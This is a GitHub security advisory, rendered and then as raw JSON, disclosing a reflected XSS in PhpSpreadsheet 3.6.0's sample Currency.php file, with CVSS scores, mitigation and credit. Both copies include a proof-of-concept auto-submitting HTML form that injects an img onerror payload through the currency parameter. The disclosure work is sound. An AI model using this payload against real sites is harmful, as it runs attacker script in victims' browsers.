GHSA-J2XG-CJCX-4677
Vulnerability from github – Published: 2025-01-03 17:06 – Updated: 2025-03-06 18:18Unauthorized Reflected XSS in Currency.php file
Product: Phpspreadsheet
Version: version 3.6.0
CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CVSS vector v.3.1: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N)
CVSS vector v.4.0: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L)
Description: using the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php script, an attacker can perform XSS-type attack
Impact: executing arbitrary JavaScript code in the browser
Vulnerable component: the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php file
Exploitation conditions: an unauthorized user
Mitigation: sanitization of the currency variable
Researcher: Aleksey Solovev (Positive Technologies)
Research
The researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in Currency.php file) in Phpspreadsheet.
There is no sanitization in the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php file, which leads to the possibility of a XSS attack.
Strings are formed using the currency parameter without sanitization, controlled by an attacker.
Figure 9. A fragment of the query in which a string and a parameter are formed without sanitization
An attacker can prepare a special HTML form that will be automatically sent to the vulnerable scenario.
Listing 5. HTML form that demonstrates the exploitation of the XSS vulnerability
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://192.***.***.***/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php" method="POST">
<input type="hidden" name="number" value="1234.5678" />
<input type="hidden" name="currency" value="$'"<img src=1 onerror=alert()>" />
<input type="hidden" name="decimals" value="2" />
<input type="hidden" name="position" value="1" />
<input type="hidden" name="spacing" value="0" />
<input type="hidden" name="submit" value="Display Mask" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
After sending the script provided in Listing 5, the XSS vulnerability is exploited. Figure 10 shows the execution of arbitrary JavaScript code during the submission of a POST form.
Figure 10. Executing arbitrary JavaScript code
Credit
This vulnerability was discovered by Aleksey Solovev (Positive Technologies)
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"details": "# Unauthorized Reflected XSS in `Currency.php` file\n\n**Product**: Phpspreadsheet\n**Version**: version 3.6.0\n**CWE-ID**: CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)\n**CVSS vector v.3.1**: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N)\n**CVSS vector v.4.0**: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L)\n**Description**: using the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php` script, an attacker can perform XSS-type attack\n**Impact**: executing arbitrary JavaScript code in the browser\n**Vulnerable component**: the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php` file\n**Exploitation conditions**: an unauthorized user\n**Mitigation**: sanitization of the `currency` variable\n**Researcher**: Aleksey Solovev (Positive Technologies)\n\n# Research\n\nThe researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in `Currency.php` file) in Phpspreadsheet.\n\nThere is no sanitization in the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php` file, which leads to the possibility of a XSS attack.\nStrings are formed using the `currency` parameter without sanitization, controlled by an attacker.\n\n\n\n*Figure 9. A fragment of the query in which a string and a parameter are formed without sanitization*\n\nAn attacker can prepare a special HTML form that will be automatically sent to the vulnerable scenario.\n\n*Listing 5. HTML form that demonstrates the exploitation of the XSS vulnerability*\n\n```\n\u003chtml\u003e\n \u003c!-- CSRF PoC - generated by Burp Suite Professional --\u003e\n \u003cbody\u003e\n \u003cform action=\"https://192.***.***.***/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php\" method=\"POST\"\u003e\n \u003cinput type=\"hidden\" name=\"number\" value=\"1234\u0026#46;5678\" /\u003e\n \u003cinput type=\"hidden\" name=\"currency\" value=\"\u0026#36;\u0026apos;\u0026quot;\u0026lt;img\u0026#32;src\u0026#61;1\u0026#32;onerror\u0026#61;alert\u0026#40;\u0026#41;\u0026gt;\" /\u003e\n \u003cinput type=\"hidden\" name=\"decimals\" value=\"2\" /\u003e\n \u003cinput type=\"hidden\" name=\"position\" value=\"1\" /\u003e\n \u003cinput type=\"hidden\" name=\"spacing\" value=\"0\" /\u003e\n \u003cinput type=\"hidden\" name=\"submit\" value=\"Display\u0026#32;Mask\" /\u003e\n \u003cinput type=\"submit\" value=\"Submit request\" /\u003e\n \u003c/form\u003e\n \u003cscript\u003e\n history.pushState(\u0027\u0027, \u0027\u0027, \u0027/\u0027);\n document.forms[0].submit();\n \u003c/script\u003e\n \u003c/body\u003e\n\u003c/html\u003e\n```\n\nAfter sending the script provided in Listing 5, the XSS vulnerability is exploited. Figure 10 shows the execution of arbitrary JavaScript code during the submission of a POST form. \n\n\u003cimg width=\"428\" alt=\"fig10\" src=\"https://github.com/user-attachments/assets/2be8c94b-03ac-40d9-aa7a-9d326eb79335\" /\u003e\n\n*Figure 10. Executing arbitrary JavaScript code*\n\n# Credit\nThis vulnerability was discovered by **Aleksey Solovev (Positive Technologies)**",
"id": "GHSA-j2xg-cjcx-4677",
"modified": "2025-03-06T18:18:55Z",
"published": "2025-01-03T17:06:51Z",
"references": [
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"type": "WEB",
"url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-j2xg-cjcx-4677"
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"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-56409"
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"url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/700a80346be269af668914172bc6f4521982d0b4"
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"schema_version": "1.4.0",
"severity": [
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"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N",
"type": "CVSS_V3"
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"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L",
"type": "CVSS_V4"
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"summary": "PhpSpreadsheet allows unauthorized Reflected XSS in Currency.php file"
}
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